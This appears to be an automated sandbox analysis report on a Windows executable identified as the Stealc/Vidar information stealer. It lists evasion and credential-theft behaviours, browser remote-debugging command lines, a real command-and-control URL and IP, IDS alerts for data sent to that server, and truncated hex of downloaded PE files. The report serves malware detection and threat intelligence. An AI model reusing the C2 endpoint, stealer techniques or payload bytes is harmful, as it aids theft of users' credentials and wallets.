Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562490
MD5:	3c0fdc03af4ee57e1fb552f41e86cfba
SHA1:	41fd1ab70b2ab449460d94de741bf62520eef660
SHA256:	665596162e2fbd017fb44dc510ea898db681c9c92ef416369fb2869cfd61ed78
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6092 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3C0FDC03AF4EE57E1FB552F41E86CFBA)

chrome.exe (PID: 5440 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4836 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2180,i,12856717172867170866,9707093815161414423,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7920 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8160 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2216,i,4508490612143711048,6364152533651127459,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8516 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEGIDGDGH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msedge.exe (PID: 2284 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2800 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2668 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8416 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6864 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8452 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7036 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4640 --field-trial-handle=2224,i,368824053774617721,8123547316380862062,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2058605500.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2558172781.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2558803779.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2558803779.0000000000F8C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6092	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6092	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6092	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6092	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6092, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5440, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T16:21:10.047875+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T16:21:09.807193+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T16:21:10.392081+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T16:21:11.975349+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T16:21:10.516177+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T16:21:09.159803+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T16:21:12.441846+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T16:21:35.696272+0100	2803304	3	Unknown Traffic	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-25T16:21:37.606543+0100	2803304	3	Unknown Traffic	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-25T16:21:38.902149+0100	2803304	3	Unknown Traffic	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-25T16:21:40.065072+0100	2803304	3	Unknown Traffic	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-25T16:21:43.573334+0100	2803304	3	Unknown Traffic	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-25T16:21:44.697366+0100	2803304	3	Unknown Traffic	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-25T16:21:53.447424+0100	2803304	3	Unknown Traffic	192.168.2.5	49889	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/freebl3.dll.	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dll8	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll(	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpL	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.2558172781.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C4E6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.24.109:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.24.109:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.1:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.1:443 -> 192.168.2.5:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.1:443 -> 192.168.2.5:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49940 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2587780324.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2587780324.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 38MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.206/c4becf79229cb002.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 15:21:12 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 15:21:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 15:21:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 